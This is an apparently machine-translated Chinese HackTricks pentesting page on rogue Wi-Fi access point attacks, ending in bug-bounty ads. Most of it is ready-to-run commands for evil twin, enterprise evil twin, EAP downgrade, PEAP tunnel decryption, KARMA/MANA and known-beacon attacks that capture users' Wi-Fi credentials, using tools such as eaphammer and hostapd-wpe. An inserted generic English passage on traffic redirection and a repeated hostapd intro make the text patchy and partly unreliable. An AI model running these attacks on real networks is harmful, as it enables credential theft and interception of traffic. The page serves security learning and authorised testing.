hostapd是一个用于创建和管理无线接入点(AP)的软件。它可以在支持无线网卡的设备上运行,并允许您将设备配置为一个独立的AP或一个AP与其他网络连接的桥接器。
hostapd提供了许多配置选项,可以根据您的需求进行自定义设置。您可以设置无线网络的名称(SSID)、加密方法、访问控制列表(ACL)以及其他高级功能,如RADIUS服务器认证和WPA/WPA2企业级加密。
使用hostapd,您可以创建一个安全的无线网络,以便在渗透测试中模拟一个受控的AP。这样,您可以测试客户端设备的安全性,并评估其对各种攻击的脆弱性。
要使用hostapd,您需要具备一定的Linux命令行知识,并且了解无线网络的基本原理和安全性。您还需要一块支持无线AP模式的无线网卡。
以下是hostapd的一些常用命令和配置示例:
```bash
# 启动hostapd
sudo hostapd /path/to/hostapd.conf
# hostapd.conf配置示例
interface=wlan0
driver=nl80211
ssid=MyWiFiNetwork
hw_mode=g
channel=6
macaddr_acl=0
auth_algs=1
ignore_broadcast_ssid=0
wpa=2
wpa_passphrase=MyPassword
wpa_key_mgmt=WPA-PSK
wpa_pairwise=TKIP
rsn_pairwise=CCMP
```
请注意,hostapd的配置选项非常丰富,您可以根据需要进行更多的自定义设置。在渗透测试中,确保您了解所使用的配置选项的含义,并根据需要进行相应的调整。
使用hostapd时,请务必遵守当地法律和道德准则,并仅在合法授权的范围内使用。
```
apt-get install hostapd
```
创建一个配置文件 _hostapd.conf:_
```
interface=wlan0
driver=nl80211
ssid=MITIWIFI
hw_mode=g
channel=11
macaddr_acl=0
ignore_broadcast_ssid=0
auth_algs=1
wpa=2
wpa_passphrase=mitmwifi123
wpa_key_mgmt=WPA-PSK
wpa_pairwise=CCMP
wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**停止烦人的进程**,设置**监控模式**,并**启动hostapd**:
```
airmon-ng check kill
iwconfig wlan0 mode monitor
ifconfig wlan0 up
hostapd ./hostapd.conf
```
### 转发和重定向
Forwarding and redirection are techniques used in networking to redirect traffic from one location to another. These techniques are commonly used in the context of pentesting WiFi networks to redirect traffic to an attacker-controlled device.
#### Port Forwarding
Port forwarding is a technique used to redirect traffic from a specific port on a router or firewall to a different port on another device within the network. This allows external traffic to reach a specific service or application running on a device behind the router or firewall.
To perform port forwarding, you need to access the router or firewall's configuration settings and create a rule that maps the external port to the internal port of the target device. This can be useful during a WiFi pentest to redirect traffic to a device running a malicious service or to intercept and analyze network traffic.
#### DNS Redirection
DNS redirection involves manipulating the DNS (Domain Name System) resolution process to redirect traffic from a specific domain or subdomain to a different IP address. This technique can be used to redirect traffic from legitimate websites to malicious ones controlled by the attacker.
To perform DNS redirection, you can modify the hosts file on the target device or set up a DNS server that resolves the targeted domain or subdomain to the attacker's IP address. This can be useful during a WiFi pentest to redirect users to a fake login page or to intercept and modify network traffic.
#### URL Redirection
URL redirection involves redirecting traffic from one URL to another. This technique is commonly used in web applications to redirect users from one page to another. In the context of WiFi pentesting, URL redirection can be used to redirect users to a malicious website or to intercept and modify network traffic.
To perform URL redirection, you can modify the web server's configuration or use techniques like phishing to trick users into visiting a specific URL that redirects them to a different website. This can be useful during a WiFi pentest to deceive users and gain unauthorized access to their credentials or sensitive information.
#### Conclusion
Forwarding and redirection techniques are powerful tools in the arsenal of a WiFi pentester. By redirecting traffic, an attacker can gain control over network communication and manipulate it to their advantage. It is important for pentesters to understand these techniques and how to defend against them to ensure the security of WiFi networks.
```bash
iptables --table nat --append POSTROUTING --out-interface eth0 -j MASQUERADE
iptables --append FORWARD --in-interface wlan0 -j ACCEPT
echo 1 > /proc/sys/net/ipv4/ip_forward
```
## 恶意双胞胎
恶意双胞胎攻击是一种利用大多数计算机和手机只能看到无线网络的“名称”或ESSID(因为基站不需要对客户端进行身份验证)的Wi-Fi攻击。这实际上使得很难区分具有相同名称和相同加密类型的网络。事实上,许多网络将有几个扩展网络访问点,它们都使用相同的名称来扩展访问而不会让用户感到困惑。
由于客户端的实现方式(请记住,802.11协议允许站点在同一ESS内的访问点之间自由漫游),可以使设备更改连接的基站。可以通过提供更好的信号(这并不总是可能的)或通过阻止对原始基站的访问(去认证数据包,干扰或其他形式的DoS攻击)来实现这一点。
还要注意,现实世界中的无线部署通常不止一个访问点,这些访问点通常更强大,并且由于其放置在天花板上,具有更好的视线范围。去认证一个单独的访问点通常会导致目标漫游到另一个有效的访问点,而不是您的恶意AP,除非附近的所有访问点都被去认证(嘈杂)或者您对恶意AP的放置非常小心(困难)。
您可以创建一个非常基本的开放式恶意双胞胎(没有将流量路由到互联网的功能),如下所示:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
您还可以使用**eaphammer**创建一个恶意的双胞胎(请注意,要使用eaphammer创建恶意的双胞胎,接口**不应该**处于**监控**模式):
```
./eaphammer -i wlan0 --essid exampleCorp --captive-portal
```
或者使用Airgeddon:`选项:5,6,7,8,9(在Evil Twin攻击菜单中)。`
![](<../../.gitbook/assets/image (148).png>)
请注意,默认情况下,如果PNL中保存的ESSID被保存为WPA保护,设备将不会自动连接到一个开放的Evil Twin。您可以尝试对真实AP进行DoS攻击,并希望用户手动连接到您的开放的Evil Twin,或者您可以对真实AP进行DoS攻击并使用WPA Evil Twin来捕获握手(使用此方法,您将无法让受害者连接到您,因为您不知道PSK,但您可以捕获握手并尝试破解它)。
_一些操作系统和防病毒软件会警告用户连接到一个开放的网络是危险的..._
### WPA/WPA2 Evil Twin
您可以创建一个使用WPA/2的**Evil Twin**,如果设备已配置为使用WPA/2连接到该SSID,它们将尝试连接。无论如何,要**完成4次握手**,您还需要**知道**客户端将要使用的**密码**。如果您**不知道**它,**连接将无法完成**。
```
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
### 企业恶意双胞胎
为了理解这种攻击,我建议先阅读简要的[WPA企业解释](./#wpa-enterprise-mgt)。
**使用hostapd-wpe**
`hostapd-wpe`需要一个**配置**文件来工作。为了**自动化**生成这些配置,你可以使用[https://github.com/WJDigby/apd\_launchpad](https://github.com/WJDigby/apd\_launchpad)(下载_python文件到_/etc/hostapd-wpe/_)。
```
./apd_launchpad.py -t victim -s PrivateSSID -i wlan0 -cn company.com
hostapd-wpe ./victim/victim.conf -s
```
在配置文件中,您可以选择很多不同的内容,如ssid、信道、用户文件、证书/密钥、dh参数、wpa版本和认证...
[**使用EAP-TLS的hostapd-wpe允许任何证书登录。**](evil-twin-eap-tls.md)
**使用EAPHammer**
```bash
# Generate Certificates
./eaphammer --cert-wizard
# Launch Attack
./eaphammer -i wlan0 --channel 4 --auth wpa-eap --essid CorpWifi --creds
```
默认情况下,EAPHammer使用以下身份验证方法(请注意,首先尝试获取明文密码的是GTC,然后使用更强大的身份验证方法):
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
这是避免长连接时间的默认方法。然而,你也可以指定服务器按照从最弱到最强的顺序提供认证方法:
```
--negotiate weakest
```
或者你也可以使用以下方法:
* `--negotiate gtc-downgrade` 使用高效的GTC降级实现(明文密码)
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` 手动指定提供的方法(以与组织相同的顺序提供相同的认证方法,攻击将更难被检测到)。
* [在维基中查找更多信息](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**使用Airgeddon**
`Airgeddon`可以使用先前生成的证书为WPA/WPA2-Enterprise网络提供EAP身份验证。伪造的网络将将连接协议降级为EAP-MD5,以便能够**捕获用户和密码的MD5值**。然后,攻击者可以尝试破解密码。\
`Airggedon`为您提供了**连续的恶意双胞胎攻击(嘈杂)**或**仅在有人连接时创建恶意攻击(平滑)**的可能性。
![](<../../.gitbook/assets/image (129).png>)
### 在恶意双胞胎攻击中调试PEAP和EAP-TTLS TLS隧道
_此方法在PEAP连接中进行了测试,但由于我正在解密任意的TLS隧道,因此这也适用于EAP-TTLS_
在_hostapd-wpe_的**配置**中,**注释掉**包含**dh\_file**的行(从`dh_file=/etc/hostapd-wpe/certs/dh`改为`#dh_file=/etc/hostapd-wpe/certs/dh`)\
这将使`hostapd-wpe`使用RSA而不是DH来交换密钥,因此您将能够稍后**使用服务器的私钥解密**流量。
现在像往常一样使用修改后的配置启动**恶意双胞胎**,使用**`hostapd-wpe`**。同时,在执行恶意双胞胎攻击的**接口**上启动**`wireshark`**。
现在或稍后(当您已经捕获了一些身份验证意图时),您可以将私有RSA密钥添加到wireshark中:`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`
添加一个新条目,并使用以下值填写表单:**IP地址 = any** -- **端口 = 0** -- **协议 = data** -- **密钥文件**(**选择您的密钥文件**,为避免问题,请选择一个**没有密码保护的密钥文件**)。
![](<../../.gitbook/assets/image (151).png>)
然后查看新的**"解密的TLS"选项卡**:
![](<../../.gitbook/assets/image (152).png>)
## KARMA、MANA、Loud MANA和已知信标攻击
### ESSID和MAC黑/白名单
以下表格列出了可用的不同类型的MFACLs(管理帧访问控制列表)以及使用它们时的效果:
![](<../../.gitbook/assets/image (149).png>)
```
# example EAPHammer MFACL file, wildcards can be used
78:f0:97:fc:b5:36
9a:35:e1:01:4f:cf
69:19:14:60:20:45
ce:52:b8:*:*:*
[--mac-whitelist /path/to/mac/whitelist/file.txt #EAPHammer whitelisting]
[--mac-blacklist /path/to/mac/blacklist/file.txt #EAPHammer blacklisting]
```
```
# example ESSID-based MFACL file
apples
oranges
grapes
pears
[--ssid-whitelist /path/to/mac/whitelist/file.txt]
[--ssid-blacklist /path/to/mac/blacklist/file.txt]
```
### KARMA
Karma攻击是一种利用站点使用的网络选择过程的第二种伪造接入点攻击。在2005年的一篇白皮书中,Dino Dai Zovi和Shane Macaulay描述了攻击者如何配置一个接入点来监听定向探测请求,并用匹配的定向探测响应对所有请求进行回应。这会导致受影响的站点自动向攻击者的接入点发送关联请求。接入点然后回复一个关联响应,使受影响的站点连接到攻击者。
### MANA
根据Ian de Villiers和Dominic White的说法,现代站点被设计成通过忽略那些尚未对至少一个广播探测请求作出响应的接入点的定向探测响应来保护自己免受karma攻击。这导致易受karma攻击的站点数量显著减少,直到2015年,White和de Villiers开发出一种绕过此类保护措施的方法。在White和de Villiers改进的karma攻击(MANA攻击)中,定向探测响应被用来重建附近站点的PNL。当从一个站点接收到广播探测请求时,攻击者的接入点会用该设备的PNL中已经在直接探测中看到的任意SSID进行回应。
总之,MANA算法的工作原理如下:每次接入点接收到一个探测请求时,首先确定它是广播探测还是定向探测。如果是定向探测,发送者的MAC地址将被添加到哈希表中(如果尚未存在),并将ESSID添加到该设备的PNL中。然后接入点会回复一个定向探测响应。如果是广播探测,接入点会对该设备的PNL中的每个网络都回复一个探测响应。
使用eaphammer的MANA攻击:
```
./eaphammer -i wlan0 --cloaking full --mana --mac-whitelist whitelist.txt [--captive-portal] [--auth wpa-psk --creds]
```
### 喧闹MANA
请注意,标准的MANA攻击仍然无法攻击完全不使用定向探测的设备。因此,如果我们之前也不知道设备PNL中的任何条目,我们需要找到其他攻击方式。
一种可能性是所谓的喧闹MANA攻击。这种攻击依赖于一个想法,即在物理上彼此接近的客户设备很可能在它们的PNL中至少有一些共同的条目。
简而言之,喧闹MANA攻击不是对特定设备PNL中的每个ESSID都回应探测请求,而是对之前见过的所有设备的所有PNL中的每个ESSID都发送探测响应。将其与集合论相关联,我们可以说AP对附近设备的所有PNL的并集中的每个ESSID都发送探测响应。
```
./eaphammer -i wlan0 --cloaking full --mana --loud [--captive-portal] [--auth wpa-psk --creds]
```
### 已知的信标攻击
仍然有一些情况下,Loud MANA攻击可能不会成功。\
已知的信标攻击是一种“暴力破解”ESSIDs的方法,试图让受害者连接到攻击者。攻击者创建一个响应任何ESSID的AP,并运行一些代码发送伪造ESSID的信标,这些信标的名称在一个字典中。希望受害者的PNL中包含一些这些ESSID名称,并尝试连接到伪造的AP。\
Eaphammer将此攻击实现为MANA攻击,其中所有列表中的ESSIDs都被加载(您还可以与`--loud`结合使用,以创建Loud MANA + Known beacons攻击):
```
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**已知的信标爆发攻击**
已知的信标非常显眼。您可以使用Eaphammer项目中的脚本,快速地向文件中的每个ESSID名称发射信标。如果将此脚本与Eaphammer MANA攻击结合使用,客户端将能够连接到您的AP。
```
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
--bssid de:ad:be:ef:13:37 \
--known-essids-file known-s.txt \
--dst-addr 11:22:33:11:22:33 \
--burst-count 5
```
## Wi-Fi Direct
Wi-Fi Direct是一种Wi-Fi标准,允许设备在没有无线接入点的情况下相互连接,其中两个设备之一将充当接入点(称为组所有者)。您可以在许多物联网设备(如打印机、电视等)中找到Wi-Fi Direct。
Wi-Fi Direct依赖于Wi-Fi Protected Setup(WPS)来安全连接设备。WPS具有多种配置方法,例如**按键**配置(PBC)、**PIN码输入**和**近场**通信(NFC)。
因此,如果使用PIN码,之前对WPS PIN的攻击也适用于这里。
### EvilDirect劫持
这类似于Evil-Twin,但用于Wi-Fi Direct,您可以冒充组所有者,试图使其他设备(如手机)连接到您:`airbase-ng -c 6 -e DIRECT-5x-BRAVIA -a BB:BB:BB:BB:BB:BB mon0`
## 参考资料
* [https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee](https://posts.specterops.io/modern-wireless-attacks-pt-i-basic-rogue-ap-theory-evil-twin-and-karma-attacks-35a8571550ee)
* [https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9](https://posts.specterops.io/modern-wireless-attacks-pt-ii-mana-and-known-beacon-attacks-97a359d385f9)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38](https://posts.specterops.io/modern-wireless-tradecraft-pt-iii-management-frame-access-control-lists-mfacls-22ca7f314a38)
* [https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d](https://posts.specterops.io/modern-wireless-tradecraft-pt-iv-tradecraft-and-detection-d1a95da4bb4d)
* [https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf](https://github.com/gdssecurity/Whitepapers/blob/master/GDS%20Labs%20-%20Identifying%20Rogue%20Access%20Point%20Attacks%20Using%20Probe%20Response%20Patterns%20and%20Signal%20Strength.pdf)
* [http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
* [https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/](https://www.evilsocket.net/2019/02/13/Pwning-WiFi-networks-with-bettercap-and-the-PMKID-client-less-attack/)
* [https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d](https://medium.com/hacking-info-sec/ataque-clientless-a-wpa-wpa2-usando-pmkid-1147d72f464d)
TODO: 查看[https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)(使用Facebook登录和在捕获门户中模拟WPA登录)
**HackenProof是所有加密漏洞赏金的家园。**
**即时获得奖励**\
HackenProof的赏金仅在客户存入奖励预算后启动。在漏洞验证后,您将获得奖励。
**在Web3渗透测试中积累经验**\
区块链协议和智能合约是新的互联网!掌握正在崛起的web3安全。
**成为web3黑客传奇**\
每次验证的漏洞都会获得声誉积分,并占据每周排行榜的榜首。
[**在HackenProof上注册**](https://hackenproof.com/register)开始从您的黑客行动中获利!
{% embed url="https://hackenproof.com/register" %}
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥
* 您在**网络安全公司**工作吗?您想在HackTricks中看到您的**公司广告**吗?或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
* 发现我们的独家[NFT](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks衣物**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**